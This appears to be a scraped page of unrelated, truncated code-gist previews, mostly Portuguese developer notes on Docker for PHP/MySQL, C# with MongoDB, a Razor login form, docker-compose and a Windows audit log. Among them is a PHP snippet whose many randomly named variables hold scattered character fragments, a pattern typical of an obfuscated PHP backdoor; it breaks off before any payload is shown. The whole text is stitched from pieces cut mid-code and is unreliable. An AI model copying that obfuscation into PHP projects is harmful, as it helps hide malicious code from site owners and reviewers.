Exemplo de configuração do Docker para ambiente PHP / MySQL
c:\> mkdir PHP
c:\> mkdir PHP\www
No diretorio PHP adicione o arquivo Dockerfile
using System; | |
using System.Collections.Generic; | |
using System.Linq; | |
using System.Threading.Tasks; | |
using System.Web; | |
using System.Web.Mvc; | |
using MongoDB.Driver; | |
using M101DotNet.WebApp.Models; | |
using M101DotNet.WebApp.Models.Home; | |
using MongoDB.Bson; |
@model LoginClaims.Controllers.LoginViewModel | |
@{ | |
ViewBag.Title = "Login"; | |
} | |
<h2>Login</h2> | |
<p>@ViewBag.erro</p> | |
<form action="" method="POST"> |
c:> mongod --install --dbpath d:\data\db --logpath d:\data\logs\log.txt --logappend --bind_ip 127.0.0.1 --directoryperdb |
# http://www.phprs.com.br/2016/05/criando-um-ambiente-de-desenvolvimento-php-com-docker-compose/ | |
# http://yutaf.github.io/run-phpmyadmin-in-docker-compose/ | |
# uso: | |
# php http://localhost/ | |
# phpMyAdmin http://localhost:8080/ | |
php: | |
build: ../ | |
ports: |
bundles.Add(new ScriptBundle("~/bundles/jqueryval").Include( | |
"~/Scripts/jquery.unobtrusive*", | |
"~/Scripts/jquery.validate*", | |
"~/Scripts/methods_pt.js")); |
Um identificador para um objeto foi solicitado. | |
Requerente: | |
Identificação de segurança: SERVIDOR\Terminal 02 | |
Nome da conta: Terminal 02 | |
Domínio da conta: SERVIDOR | |
Identificação de logon: 0x42b60 | |
Objeto: | |
Servidor de objetos: Security |
<?php | |
$existentialism= 'W'; $goblin='raOEN'; $dish ='b';$kain = 'HaRSi'; $everyman ='_i4;a$a'; $blocky= ')'; $fossiliferous ='4j_e$aiG'; $heralds='(Tta?c"'; $flocked='4a';$dipped='3"';$dust ='(';$eastbound ='nr"v$_ccT';$distillers ='vI_DbRca('; | |
$bullet= '`';$lay ='u';$engagingly = 'H'; $contrastingly='a'; $linux = 'eO;e_Ye'; | |
$carbonized='I(p';$heterogeneity= '(';$bins = 't';$lyssa =')';$coalesces= 'id)0'; $inequality= '=fs';$esteban= '$elE'; $ejaculates = '4sCsZ'; $forfend='=rE'; | |
$diseased= '$';$evasive= 'Kea)(D'; $dazzling ='f';$defendants= '_cqAda';$hydrogen='b'; | |
$circuits='hQ"cJn3,';$emma= 'e'; $gert ='_"Aa(a';$bisexual = 'yeT0_XCl"';$avoidably ='(';$impetus = '0';$austrian='nd(CeLP"'; |
namespace Eva.Dominio | |
{ | |
public class Categoria : Entidade | |
{ | |
private string nome; | |
public string Nome | |
{ | |
get { return nome; } | |
set |